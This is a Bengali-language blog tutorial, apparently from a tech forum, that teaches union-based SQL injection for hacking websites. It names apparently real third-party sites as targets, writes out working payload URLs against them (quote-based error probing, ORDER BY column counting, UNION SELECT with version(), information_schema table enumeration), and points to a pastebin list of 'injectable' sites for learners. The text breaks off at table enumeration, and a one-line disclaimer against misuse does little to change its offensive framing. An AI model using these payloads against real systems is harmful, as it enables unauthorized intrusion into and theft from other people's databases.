এবার Union Based SQLi শিখেনিন
Sql Inj3cti0n কি ?
সহজ ভাষায় বলতে গেলে SQL Inj3cti0n
হলো এমন একটি code inj3cti0n কৌশল যা
কোনো সাইটের ডাটাবেজের
সিকিউরিটি কে ভেঙ্গে তা থেকে
ইনফরমেশন বের করতে পারে।
যে কোনো সাইটে SQL Inj3cti0n করা
যাবে ?
না। SQL Inj3cti0n তখনি কাজ করবে যখন
কোনো সাইটে SQL error থাকবে।
কোনো সাইটে SQL error আছে কি
নেই তা বুজবো কিভাবে ?
যেই সব সাইটে id=value থাকে ধরুন
http://www.site.com/news.php?id=5
সাধারণত এই সব সাইটে SQL error
থাকে। কোনো সাইটে SQL error
এভাবেই দেখাবে না, error দেখার
জন্য আপনাকে url এর শেষে একটি
‘(string) দিতে হবে।
উদাহরণঃ http://www.bayviewhotelni.com/
news.php?id=3 এটি হচ্ছে আসল লিঙ্ক, এই
লিঙ্কে যখন আপনি ব্রাউজারে লোড
করবেন তখন কোনো error আসবে না।
যখন আপনি url এর শেষে একটি ‘(string)
দিবেন তখন ঠিকই error আসবে।
http://www.bayviewhotelni.com/news.php ?
id=3 ‘
You have an error in your SQL syntax; check
the manual that correspond
s to your MySQL server version for the right
syntax to use near ”3”’ at line 1
অথবা অনেক সময় দেখতে পারবেন যখন ‘
বসিয়েছেন তখন সাইটে যদি কোনো
ছবি/ডাটা মিস করে তাহলে ও অই
সাইটে SQL error আছে।
অর্থাৎ বোঝা গেলো এই সাইটে SQL
error আছে। তাই আমরা এই সাইটটি কে
SQL Inj3cti0n করে হ্যাক করতে পারবো।
SQL INJECT করে আজ আপনাদের
ভার্নাবল সাইট হ্যাক করা শিখাবো।
প্রথমে SQL INJECT করার জন্য সাইটের ID
ভেল্যু খুজতে হয়।
যেমন :
http://www.site.com/index.php?id=2
এরপর আপনাকে দেখতে হবে সাইট টি
injectable
কিনা।
এর জন্য আপনাকে url এর শেষে একটি ‘
বসাতে হবে।
যদি ডাটাবেজের কিছু মিসিং
আসে বা পেজের কিছু ইরর আসে
তাহলে বুঝবেন সাইট টি injectable
।
যেমন : “You have an error in your SQL
syntax; check the manual that correspond
s to your MySQL server version for the right
syntax to use near ”’ at line 1″
যারা আমার মত শিক্ষার্থী তাদের
জন্য injectable
সাইটের তালিকা দেয়া হল
pastebin.com/
6HckfUzW।
এখন injectable
সাইটে inject করার জন্য আপনাকে
প্রথমে ডাটাবেজের কলাম বের
করতে হবে।
এজন্য আপনাকে ভার্নাবল সাইটের
লিংকের শেষে একটি কমান্ড ব্যবহার
করতে হবে।
এখানে আমাদের ভার্নাবল সাইট
http://www.caiguoqiang.com/ project_detail.php?i
d=196
এইটার শেষে একটা ‘ দিয়ে দেখেন,
দেখবেন ডাটা মিস করছে।
যাই হোক, আমাদের ডাটাবেজের
কলাম বের করতে হলে +order+by+
কমান্ড দিতে হবে।
তাহলে লিংকটি দাড়ায়
http://www.caiguoqiang.com/project_detail.php ?
id=196+order+by+
এখন + এর শেষে আপনাকে 1 থেকে শুরু
করে তত পর্যন্ত চেষ্টা করতে হবে।
এখন 1 নিয়ে দেখেন
তাহলে লিংকটি দাড়ায়
http://www.caiguoqiang.com/project_detail.php ?
id=196+order+by+1
নাহ, তাহলে সাইটের শুধু ডাটা মিস
করতেছে।
আবার 2 দিয়ে চেষ্টা করি
http://www.caiguoqiang.com/project_detail.php ?
id=196+order+by+2
নাহ, এবারও ডাটা মিস করতেছে।
এবাবে 3,4,5 করে 25 পর্যন্ত গেলাম।
26 এ গেলে পুরো সাইট SQL ইরর দেখায়
।
http://www.caiguoqiang.com/project_detail.php ?
id=196+order+by+26
ইরর এরকমের হতে পারে।
Could not connect to MySQL server: Unknown
column ’26’ in ‘order clause’।
অর্থ্যাত্
এই সাইটের ডাটাবেজের কলাম 25
টি।
এখন আমাদের দেখতে হবে এই 25 টা
কলামের ভেতর ভার্নাবল কোনটি।এর
জন্য আমাদের আবার কমান্ড ব্যবহার
করতে হবে।
কমান্ড টি+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,22,23,24,25-
–
তাহলে লিংক টি দাড়াবে
http://www.caiguoqiang.com/ project_detail.php?id=-196+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,22,23,
24,25–
(উল্লেখ, এখানে project_detail.php?i
d= এর পর একটি – দেয়া হয়েছে)
এখন আপনি ভার্নাবল কলাম দেখতে
পাবেন।
এই সাইটের ভার্নাবল কলাম 6,11,4
দেখাবে।
এখানে আমরা 6 নম্বর কলাম নিয়ে
কাজ করবো।
এখন আমরা ভার্নাবল কলামের ভার্সন
বের করবো।
এর জন্য আপনাকে আবার একটি কমান্ড
ব্যবহার করতে হবে।
এখন আগের লিংকে শুধু 6 এর জায়গায়
version() দিতে হবে।
তাহলে লিংক টি দাড়ায়
http://www.caiguoqiang.com/project_detail.php ?
id=-196+union+select+1,2,3,4,5,version()
,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
,23,24,25 —
এই লিংকে গেলে আমরা ভার্সন
দেখতে পাবো। এটার ভার্সন 5.0.95-
com
munity ভার্সন 5 এর নিচে সাইট গুলো
হবে তা বাদ দিয়ে অন্যগুলো সাইট
inject করতে চেষ্টা করবেন।
এখন আমরা আরেকটি কমান্ড ব্যবহার
করে টেবিল বের করব।
এক্ষেত্রে ভার্নাবল কলামের বদলে
group_concat(table_name) কমান্ড দিবো
এবং শেষ কলামের পর +from
+information_schema.tables+where+table_
schema=database(
)– কমান্ড দিবো
দয়া করে কেউ খারাপ কাজে ব্যবহার করবেন না
ফেইসবুক এ আমাকে পেতে এখানে ক্লিক করুন
আমি মিলটন মন্ডল। It specialist, Systech Trading, Dhaka। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 9 বছর 5 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 3 টি টিউন ও 11 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 0 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।
ভালো টিউন